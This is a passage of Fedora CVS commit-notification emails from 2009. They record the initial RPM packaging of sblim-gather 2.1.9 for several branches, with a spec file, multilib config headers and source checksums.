%{_libdir}/gather/mplug
%{_libdir}/gather/rplug

%files provider
%defattr(-,root,root,-)
%{_libdir}/gather/cplug
%{_libdir}/libOSBase*.so.*
#%{_libdir}/libOSBase_MetricUtil.so
%{_libdir}/cmpi
%{_datadir}/%{name}

%files devel
%defattr(-,root,root,-)
%{_libdir}/lib[^O]*.so
%{_includedir}/gather

%files test
%defattr(-,root,root,-)
%{_datadir}/sblim-testsuite/cim/Linux*
%{_datadir}/sblim-testsuite/system/linux/Linux*
%{_datadir}/sblim-testsuite/system/linux/gather-systemname.sh
%{_datadir}/sblim-testsuite/test-gather.sh

%define GATHER_SCHEMA %{_datadir}/%{name}/Linux_Metric.mof %{_datadir}/%{name}/Linux_IPProtocolEndpointMetric.mof %{_datadir}/%{name}/Linux_LocalFileSystemMetric.mof %{_datadir}/${name}/Linux_NetworkPortMetric.mof %{_datadir}/%{name}/Linux_OperatingSystemMetric.mof %{_datadir}/%{name}/Linux_ProcessorMetric.mof %{_datadir}/%{name}/Linux_UnixProcessMetric.mof %{_datadir}/%{name}/Linux_XenMetric.mof %{_datadir}/%{name}/Linux_zECKDMetric.mof %{_datadir}/%{name}/Linux_zCECMetric.mof %{_datadir}/%{name}/Linux_zLPARMetric.mof %{_datadir}/%{name}/Linux_zCHMetric.mof
%define GATHER_REGISTRATION %{_datadir}/%{name}/Linux_IPProtocolEndpointMetric.registration %{_datadir}/%{name}/Linux_LocalFileSystemMetric.registration %{_datadir}/%{name}/Linux_Metric.registration %{_datadir}/%{name}/Linux_NetworkPortMetric.registration %{_datadir}/%{name}/Linux_OperatingSystemMetric.registration %{_datadir}/%{name}/Linux_ProcessorMetric.registration %{_datadir}/%{name}/Linux_UnixProcessMetric.registration %{_datadir}/%{name}/Linux_XenMetric.registration %{_datadir}/%{name}/Linux_zECKDMetric.registration %{_datadir}/%{name}/Linux_zCECMetric.registration %{_datadir}/%{name}/Linux_zLPARMetric.registration %{_datadir}/%{name}/Linux_zCHMetric.registration

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%pre provider
if [ $1 -gt 1 ]
then
  %{_datadir}/%{name}/provider-register.sh -t pegasus -d \
        -r %{GATHER_REGISTRATION} -m %{GATHER_SCHEMA} > /dev/null 2>&1 || :;
  # don't let registration failure when server not running fail upgrade!
fi

%post provider
/sbin/ldconfig
if [ $1 -ge 1 ]
then
  %{_datadir}/%{name}/provider-register.sh -t pegasus \
        -r %{GATHER_REGISTRATION} -m %{GATHER_SCHEMA} > /dev/null 2>&1 || :;
  # don't let registration failure when server not running fail install!
fi

%preun provider
# Deregister only if not upgrading 
if [ $1 -eq 0 ]
then
  %{_datadir}/%{name}/provider-register.sh -t pegasus -d \
        -r %{GATHER_REGISTRATION} -m %{GATHER_SCHEMA} > /dev/null 2>&1 || :;
  # don't let registration failure when server not running fail erase!
fi

%postun provider -p /sbin/ldconfig

%changelog
* Tue Oct 13 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 2.1.9-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-gather/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:41:01 -0000	1.1
+++ sources	22 Oct 2009 10:59:29 -0000	1.2
@@ -0,0 +1 @@
+3f22f288b06fb39457300dee9d726376  sblim-gather-2.1.9.tar.bz2



From vcrhonek at fedoraproject.org  Thu Oct 22 11:11:15 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Thu, 22 Oct 2009 11:11:15 +0000 (UTC)
Subject: rpms/sblim-gather/F-10 gather-config.h, NONE,
	1.1 gather-config.h.prepend, NONE, 1.1 sblim-gather.spec, NONE,
	1.1 sources, 1.1, 1.2
Message-ID: <20091022111115.D1A6A11C02A2@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-gather/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27803

Modified Files:
	sources 
Added Files:
	gather-config.h gather-config.h.prepend sblim-gather.spec 
Log Message:
Initial commit


--- NEW FILE gather-config.h ---
/* This file is here to prevent a file conflict on multiarch systems.  A
 * conflict will frequently occur because arch-specific build-time
 * configuration options are stored (and used, so they can't just be stripped
 * out) in gather-config.h.  The original gather-config.h has been renamed.
 * DO NOT INCLUDE THE NEW FILE DIRECTLY -- ALWAYS INCLUDE THIS ONE INSTEAD. */

#ifdef gather_config_multilib_redirection_h
#error "Do not define gather_config_multilib_redirection_h!"
#endif
#define gather_config_multilib_redirection_h

#if defined(__i386__)
#include "sblim-gather-i386.h"
#elif defined(__ia64__)
#include "sblim-gather-ia64.h"
#elif defined(__powerpc64__)
#include "sblim-gather-ppc64.h"
#elif defined(__powerpc__)
#include "sblim-gather-ppc.h"
#elif defined(__s390x__)
#include "sblim-gather-s390x.h"
#elif defined(__s390__)
#include "sblim-gather-s390.h"
#elif defined(__x86_64__)
#include "sblim-gather-x86_64.h"
#else
#error "This sblim-gather-devel package does not work your architecture?"
#endif

#undef gather_config_multilib_redirection_h


--- NEW FILE gather-config.h.prepend ---
/* Prepended at sblim package build-time.  Don't include this file directly,
 * use "gather-config.h" instead. */

#ifndef gather_config_multilib_redirection_h
#error "Don't include this file directly, use <gather/gather-config.h> instead!"
#endif



--- NEW FILE sblim-gather.spec ---
%define sblim_testsuite_version 1.2.4
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.6.1-1

Name:           sblim-gather
Version:        2.1.9
Release:        1%{?dist}
Summary:        SBLIM Gatherer

Group:          Applications/System
License:        CPL
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}.tar.bz2
Source1:        gather-config.h.prepend
Source2:        gather-config.h
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: sblim-cmpi-devel
BuildRequires: sblim-cmpi-base-devel
BuildRequires: tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires: libsysfs-devel
Requires:      tog-pegasus >= %{tog_pegasus_version}

%description
Standards Based Linux Instrumentation for Manageability
Performance Data Gatherer Base.
This package contains the agents and control programs for gathering
and providing performance data.

%package        provider
Summary:        SBLIM Gatherer Provider
Group:          Applications/System
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-cmpi-base
Requires:       tog-pegasus

%description    provider
The CIM (Common Information Model) Providers for the
SBLIM (Standards Based Linux Instrumentation for Manageability)
Gatherer.

%package        devel
Summary:        SBLIM Gatherer Development Support
Group:          Development/Libraries
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description    devel
This package is needed to develop new plugins for the
SBLIM (Standards Based Linux Instrumentation for Manageability)
Gatherer.

%package        test
Summary:        SBLIM Gatherer Testcase Files
Group:          Applications/System
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
Requires:       %{name}-provider = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus

%description    test
Gatherer Testcase Files for the
SBLIM (Standards Based Linux Instrumentation for Manageability)
Testsuite

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS"
%endif
%configure TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
rm -f $RPM_BUILD_ROOT/%{_libdir}/gather/*plug/*a
# remove non-devel .so's from libdir
find $RPM_BUILD_ROOT/%{_libdir} -maxdepth 1 -name "*.so" ! -name libgatherutil.so \
        -exec rm {} \;

# remove non-devel .so's from libdir
# copy extra docs
#mkdir -p $RPM_BUILD_ROOT/%{_datadir}/doc/%{name}-%{version}
#cp -fp README.{OpenPegasus,RedHat} $RPM_BUILD_ROOT/%{_datadir}/doc/%{name}-%{version}/
# Install a redirection so that the arch-specific autoconf stuff continues to
# work but doesn't create multilib conflicts.
cat %{SOURCE1} \
        $RPM_BUILD_ROOT/%{_includedir}/gather/gather-config.h > \
        $RPM_BUILD_ROOT/%{_includedir}/gather/gather-config-%{_arch}.h
chmod 644 $RPM_BUILD_ROOT/%{_includedir}/gather/gather-config.h
install -m644 %{SOURCE2} $RPM_BUILD_ROOT/%{_includedir}/gather/

# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%config(noreplace) %{_sysconfdir}/*.conf
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf
%docdir %{_datadir}/doc/%{name}-%{version}
%{_bindir}/*
%{_sbindir}/*
%{_datadir}/doc/%{name}-%{version}
%{_localstatedir}/run/gather
%{_libdir}/lib[^O]*.so.*
%dir %{_libdir}/gather
%{_libdir}/gather/mplug
%{_libdir}/gather/rplug

%files provider
%defattr(-,root,root,-)
%{_libdir}/gather/cplug
%{_libdir}/libOSBase*.so.*
#%{_libdir}/libOSBase_MetricUtil.so
%{_libdir}/cmpi
%{_datadir}/%{name}

%files devel
%defattr(-,root,root,-)
%{_libdir}/lib[^O]*.so
%{_includedir}/gather

%files test
%defattr(-,root,root,-)
%{_datadir}/sblim-testsuite/cim/Linux*
%{_datadir}/sblim-testsuite/system/linux/Linux*
%{_datadir}/sblim-testsuite/system/linux/gather-systemname.sh
%{_datadir}/sblim-testsuite/test-gather.sh

%define GATHER_SCHEMA %{_datadir}/%{name}/Linux_Metric.mof %{_datadir}/%{name}/Linux_IPProtocolEndpointMetric.mof %{_datadir}/%{name}/Linux_LocalFileSystemMetric.mof %{_datadir}/${name}/Linux_NetworkPortMetric.mof %{_datadir}/%{name}/Linux_OperatingSystemMetric.mof %{_datadir}/%{name}/Linux_ProcessorMetric.mof %{_datadir}/%{name}/Linux_UnixProcessMetric.mof %{_datadir}/%{name}/Linux_XenMetric.mof %{_datadir}/%{name}/Linux_zECKDMetric.mof %{_datadir}/%{name}/Linux_zCECMetric.mof %{_datadir}/%{name}/Linux_zLPARMetric.mof %{_datadir}/%{name}/Linux_zCHMetric.mof
%define GATHER_REGISTRATION %{_datadir}/%{name}/Linux_IPProtocolEndpointMetric.registration %{_datadir}/%{name}/Linux_LocalFileSystemMetric.registration %{_datadir}/%{name}/Linux_Metric.registration %{_datadir}/%{name}/Linux_NetworkPortMetric.registration %{_datadir}/%{name}/Linux_OperatingSystemMetric.registration %{_datadir}/%{name}/Linux_ProcessorMetric.registration %{_datadir}/%{name}/Linux_UnixProcessMetric.registration %{_datadir}/%{name}/Linux_XenMetric.registration %{_datadir}/%{name}/Linux_zECKDMetric.registration %{_datadir}/%{name}/Linux_zCECMetric.registration %{_datadir}/%{name}/Linux_zLPARMetric.registration %{_datadir}/%{name}/Linux_zCHMetric.registration

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%pre provider
if [ $1 -gt 1 ]
then
  %{_datadir}/%{name}/provider-register.sh -t pegasus -d \
        -r %{GATHER_REGISTRATION} -m %{GATHER_SCHEMA} > /dev/null 2>&1 || :;
  # don't let registration failure when server not running fail upgrade!
fi

%post provider
/sbin/ldconfig
if [ $1 -ge 1 ]
then
  %{_datadir}/%{name}/provider-register.sh -t pegasus \
        -r %{GATHER_REGISTRATION} -m %{GATHER_SCHEMA} > /dev/null 2>&1 || :;
  # don't let registration failure when server not running fail install!
fi

%preun provider
# Deregister only if not upgrading 
if [ $1 -eq 0 ]
then
  %{_datadir}/%{name}/provider-register.sh -t pegasus -d \
        -r %{GATHER_REGISTRATION} -m %{GATHER_SCHEMA} > /dev/null 2>&1 || :;
  # don't let registration failure when server not running fail erase!
fi

%postun provider -p /sbin/ldconfig

%changelog
* Tue Oct 13 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 2.1.9-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-gather/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:41:01 -0000	1.1
+++ sources	22 Oct 2009 11:11:13 -0000	1.2
@@ -0,0 +1 @@
+3f22f288b06fb39457300dee9d726376  sblim-gather-2.1.9.tar.bz2



From vcrhonek at fedoraproject.org  Thu Oct 22 11:21:04 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Thu, 22 Oct 2009 11:21:04 +0000 (UTC)
Subject: rpms/sblim-gather/EL-5 gather-config.h, NONE,
	1.1 gather-config.h.prepend, NONE, 1.1 sblim-gather.spec, NONE,
	1.1 sources, 1.1, 1.2
Message-ID: <20091022112104.93C0511C02A0@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-gather/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30283

Modified Files:
	sources 
Added Files:
	gather-config.h gather-config.h.prepend sblim-gather.spec 
Log Message:
Initial commit


--- NEW FILE gather-config.h ---
/* This file is here to prevent a file conflict on multiarch systems.  A
 * conflict will frequently occur because arch-specific build-time
 * configuration options are stored (and used, so they can't just be stripped
 * out) in gather-config.h.  The original gather-config.h has been renamed.
 * DO NOT INCLUDE THE NEW FILE DIRECTLY -- ALWAYS INCLUDE THIS ONE INSTEAD. */

#ifdef gather_config_multilib_redirection_h
#error "Do not define gather_config_multilib_redirection_h!"
#endif
#define gather_config_multilib_redirection_h

#if defined(__i386__)
#include "sblim-gather-i386.h"
#elif defined(__ia64__)
#include "sblim-gather-ia64.h"
#elif defined(__powerpc64__)
#include "sblim-gather-ppc64.h"
#elif defined(__powerpc__)
#include "sblim-gather-ppc.h"
#elif defined(__s390x__)
#include "sblim-gather-s390x.h"
#elif defined(__s390__)
#include "sblim-gather-s390.h"
#elif defined(__x86_64__)
#include "sblim-gather-x86_64.h"
#else
#error "This sblim-gather-devel package does not work your architecture?"
#endif

#undef gather_config_multilib_redirection_h


--- NEW FILE gather-config.h.prepend ---
/* Prepended at sblim package build-time.  Don't include this file directly,
 * use "gather-config.h" instead. */

#ifndef gather_config_multilib_redirection_h
#error "Don't include this file directly, use <gather/gather-config.h> instead!"
#endif



--- NEW FILE sblim-gather.spec ---
%define sblim_testsuite_version 1.2.4
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.6.1-1

Name:           sblim-gather
Version:        2.1.9
Release:        1%{?dist}
Summary:        SBLIM Gatherer

Group:          Applications/System
License:        CPL
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}.tar.bz2
Source1:        gather-config.h.prepend
Source2:        gather-config.h
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: sblim-cmpi-devel
BuildRequires: sblim-cmpi-base-devel
BuildRequires: tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires: libsysfs-devel
Requires:      tog-pegasus >= %{tog_pegasus_version}

%description
Standards Based Linux Instrumentation for Manageability
Performance Data Gatherer Base.
This package contains the agents and control programs for gathering
and providing performance data.

%package        provider
Summary:        SBLIM Gatherer Provider
Group:          Applications/System
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-cmpi-base
Requires:       tog-pegasus

%description    provider
The CIM (Common Information Model) Providers for the
SBLIM (Standards Based Linux Instrumentation for Manageability)
Gatherer.

%package        devel
Summary:        SBLIM Gatherer Development Support
Group:          Development/Libraries
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description    devel
This package is needed to develop new plugins for the
SBLIM (Standards Based Linux Instrumentation for Manageability)
Gatherer.

%package        test
Summary:        SBLIM Gatherer Testcase Files
Group:          Applications/System
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
Requires:       %{name}-provider = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus

%description    test
Gatherer Testcase Files for the
SBLIM (Standards Based Linux Instrumentation for Manageability)
Testsuite

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS"
%endif
%configure TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
rm -f $RPM_BUILD_ROOT/%{_libdir}/gather/*plug/*a
# remove non-devel .so's from libdir
find $RPM_BUILD_ROOT/%{_libdir} -maxdepth 1 -name "*.so" ! -name libgatherutil.so \
        -exec rm {} \;

# remove non-devel .so's from libdir
# copy extra docs
#mkdir -p $RPM_BUILD_ROOT/%{_datadir}/doc/%{name}-%{version}
#cp -fp README.{OpenPegasus,RedHat} $RPM_BUILD_ROOT/%{_datadir}/doc/%{name}-%{version}/
# Install a redirection so that the arch-specific autoconf stuff continues to
# work but doesn't create multilib conflicts.
cat %{SOURCE1} \
        $RPM_BUILD_ROOT/%{_includedir}/gather/gather-config.h > \
        $RPM_BUILD_ROOT/%{_includedir}/gather/gather-config-%{_arch}.h
chmod 644 $RPM_BUILD_ROOT/%{_includedir}/gather/gather-config.h
install -m644 %{SOURCE2} $RPM_BUILD_ROOT/%{_includedir}/gather/

# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%config(noreplace) %{_sysconfdir}/*.conf
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf
%docdir %{_datadir}/doc/%{name}-%{version}
%{_bindir}/*
%{_sbindir}/*
%{_datadir}/doc/%{name}-%{version}
%{_localstatedir}/run/gather
%{_libdir}/lib[^O]*.so.*
%dir %{_libdir}/gather
%{_libdir}/gather/mplug
%{_libdir}/gather/rplug

%files provider
%defattr(-,root,root,-)
%{_libdir}/gather/cplug
%{_libdir}/libOSBase*.so.*
#%{_libdir}/libOSBase_MetricUtil.so
%{_libdir}/cmpi
%{_datadir}/%{name}

%files devel
%defattr(-,root,root,-)
%{_libdir}/lib[^O]*.so
%{_includedir}/gather

%files test
%defattr(-,root,root,-)
%{_datadir}/sblim-testsuite/cim/Linux*
%{_datadir}/sblim-testsuite/system/linux/Linux*
%{_datadir}/sblim-testsuite/system/linux/gather-systemname.sh
%{_datadir}/sblim-testsuite/test-gather.sh

%define GATHER_SCHEMA %{_datadir}/%{name}/Linux_Metric.mof %{_datadir}/%{name}/Linux_IPProtocolEndpointMetric.mof %{_datadir}/%{name}/Linux_LocalFileSystemMetric.mof %{_datadir}/${name}/Linux_NetworkPortMetric.mof %{_datadir}/%{name}/Linux_OperatingSystemMetric.mof %{_datadir}/%{name}/Linux_ProcessorMetric.mof %{_datadir}/%{name}/Linux_UnixProcessMetric.mof %{_datadir}/%{name}/Linux_XenMetric.mof %{_datadir}/%{name}/Linux_zECKDMetric.mof %{_datadir}/%{name}/Linux_zCECMetric.mof %{_datadir}/%{name}/Linux_zLPARMetric.mof %{_datadir}/%{name}/Linux_zCHMetric.mof
%define GATHER_REGISTRATION %{_datadir}/%{name}/Linux_IPProtocolEndpointMetric.registration %{_datadir}/%{name}/Linux_LocalFileSystemMetric.registration %{_datadir}/%{name}/Linux_Metric.registration %{_datadir}/%{name}/Linux_NetworkPortMetric.registration %{_datadir}/%{name}/Linux_OperatingSystemMetric.registration %{_datadir}/%{name}/Linux_ProcessorMetric.registration %{_datadir}/%{name}/Linux_UnixProcessMetric.registration %{_datadir}/%{name}/Linux_XenMetric.registration %{_datadir}/%{name}/Linux_zECKDMetric.registration %{_datadir}/%{name}/Linux_zCECMetric.registration %{_datadir}/%{name}/Linux_zLPARMetric.registration %{_datadir}/%{name}/Linux_zCHMetric.registration

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%pre provider
if [ $1 -gt 1 ]
then
  %{_datadir}/%{name}/provider-register.sh -t pegasus -d \
        -r %{GATHER_REGISTRATION} -m %{GATHER_SCHEMA} > /dev/null 2>&1 || :;
  # don't let registration failure when server not running fail upgrade!
fi

%post provider
/sbin/ldconfig
if [ $1 -ge 1 ]
then
  %{_datadir}/%{name}/provider-register.sh -t pegasus \
        -r %{GATHER_REGISTRATION} -m %{GATHER_SCHEMA} > /dev/null 2>&1 || :;
  # don't let registration failure when server not running fail install!
fi

%preun provider
# Deregister only if not upgrading 
if [ $1 -eq 0 ]
then
  %{_datadir}/%{name}/provider-register.sh -t pegasus -d \
        -r %{GATHER_REGISTRATION} -m %{GATHER_SCHEMA} > /dev/null 2>&1 || :;
  # don't let registration failure when server not running fail erase!
fi

%postun provider -p /sbin/ldconfig

%changelog
* Tue Oct 13 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 2.1.9-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-gather/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:41:01 -0000	1.1
+++ sources	22 Oct 2009 11:21:03 -0000	1.2
@@ -0,0 +1 @@
+3f22f288b06fb39457300dee9d726376  sblim-gather-2.1.9.tar.bz2



From vcrhonek at fedoraproject.org  Thu Oct 22 11:27:10 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Thu, 22 Oct 2009 11:27:10 +0000 (UTC)
Subject: rpms/sblim-gather/EL-4 gather-config.h, NONE,
	1.1 gather-config.h.prepend, NONE, 1.1 sblim-gather.spec, NONE,
	1.1 sources, 1.1, 1.2
Message-ID: <20091022112710.BE9B811C008C@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-gather/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32424

Modified Files:
	sources 
Added Files:
	gather-config.h gather-config.h.prepend sblim-gather.spec 
Log Message:
Initial commit


--- NEW FILE gather-config.h ---
/* This file is here to prevent a file conflict on multiarch systems.  A
 * conflict will frequently occur because arch-specific build-time
 * configuration options are stored (and used, so they can't just be stripped
 * out) in gather-config.h.  The original gather-config.h has been renamed.
 * DO NOT INCLUDE THE NEW FILE DIRECTLY -- ALWAYS INCLUDE THIS ONE INSTEAD. */

#ifdef gather_config_multilib_redirection_h
#error "Do not define gather_config_multilib_redirection_h!"
#endif
#define gather_config_multilib_redirection_h

#if defined(__i386__)
#include "sblim-gather-i386.h"
#elif defined(__ia64__)
#include "sblim-gather-ia64.h"
#elif defined(__powerpc64__)
#include "sblim-gather-ppc64.h"
#elif defined(__powerpc__)
#include "sblim-gather-ppc.h"
#elif defined(__s390x__)
#include "sblim-gather-s390x.h"
#elif defined(__s390__)
#include "sblim-gather-s390.h"
#elif defined(__x86_64__)
#include "sblim-gather-x86_64.h"
#else
#error "This sblim-gather-devel package does not work your architecture?"
#endif

#undef gather_config_multilib_redirection_h


--- NEW FILE gather-config.h.prepend ---
/* Prepended at sblim package build-time.  Don't include this file directly,
 * use "gather-config.h" instead. */

#ifndef gather_config_multilib_redirection_h
#error "Don't include this file directly, use <gather/gather-config.h> instead!"
#endif



--- NEW FILE sblim-gather.spec ---
%define sblim_testsuite_version 1.2.4
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.6.1-1

Name:           sblim-gather
Version:        2.1.9
Release:        1%{?dist}
Summary:        SBLIM Gatherer

Group:          Applications/System
License:        CPL
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}.tar.bz2
Source1:        gather-config.h.prepend
Source2:        gather-config.h
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: sblim-cmpi-devel
BuildRequires: sblim-cmpi-base-devel
BuildRequires: tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires: libsysfs-devel
Requires:      tog-pegasus >= %{tog_pegasus_version}

%description
Standards Based Linux Instrumentation for Manageability
Performance Data Gatherer Base.
This package contains the agents and control programs for gathering
and providing performance data.

%package        provider
Summary:        SBLIM Gatherer Provider
Group:          Applications/System
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-cmpi-base
Requires:       tog-pegasus

%description    provider
The CIM (Common Information Model) Providers for the
SBLIM (Standards Based Linux Instrumentation for Manageability)
Gatherer.

%package        devel
Summary:        SBLIM Gatherer Development Support
Group:          Development/Libraries
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description    devel
This package is needed to develop new plugins for the
SBLIM (Standards Based Linux Instrumentation for Manageability)
Gatherer.

%package        test
Summary:        SBLIM Gatherer Testcase Files
Group:          Applications/System
BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
Requires:       %{name}-provider = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus

%description    test
Gatherer Testcase Files for the
SBLIM (Standards Based Linux Instrumentation for Manageability)
Testsuite

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS"
%endif
%configure TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
rm -f $RPM_BUILD_ROOT/%{_libdir}/gather/*plug/*a
# remove non-devel .so's from libdir
find $RPM_BUILD_ROOT/%{_libdir} -maxdepth 1 -name "*.so" ! -name libgatherutil.so \
        -exec rm {} \;

# remove non-devel .so's from libdir
# copy extra docs
#mkdir -p $RPM_BUILD_ROOT/%{_datadir}/doc/%{name}-%{version}
#cp -fp README.{OpenPegasus,RedHat} $RPM_BUILD_ROOT/%{_datadir}/doc/%{name}-%{version}/
# Install a redirection so that the arch-specific autoconf stuff continues to
# work but doesn't create multilib conflicts.
cat %{SOURCE1} \
        $RPM_BUILD_ROOT/%{_includedir}/gather/gather-config.h > \
        $RPM_BUILD_ROOT/%{_includedir}/gather/gather-config-%{_arch}.h
chmod 644 $RPM_BUILD_ROOT/%{_includedir}/gather/gather-config.h
install -m644 %{SOURCE2} $RPM_BUILD_ROOT/%{_includedir}/gather/

# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%config(noreplace) %{_sysconfdir}/*.conf
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf
%docdir %{_datadir}/doc/%{name}-%{version}
%{_bindir}/*
%{_sbindir}/*
%{_datadir}/doc/%{name}-%{version}
%{_localstatedir}/run/gather
%{_libdir}/lib[^O]*.so.*
%dir %{_libdir}/gather
%{_libdir}/gather/mplug
%{_libdir}/gather/rplug

%files provider
%defattr(-,root,root,-)
%{_libdir}/gather/cplug
%{_libdir}/libOSBase*.so.*
#%{_libdir}/libOSBase_MetricUtil.so
%{_libdir}/cmpi
%{_datadir}/%{name}

%files devel
%defattr(-,root,root,-)
%{_libdir}/lib[^O]*.so
%{_includedir}/gather

%files test
%defattr(-,root,root,-)
%{_datadir}/sblim-testsuite/cim/Linux*
%{_datadir}/sblim-testsuite/system/linux/Linux*
%{_datadir}/sblim-testsuite/system/linux/gather-systemname.sh
%{_datadir}/sblim-testsuite/test-gather.sh

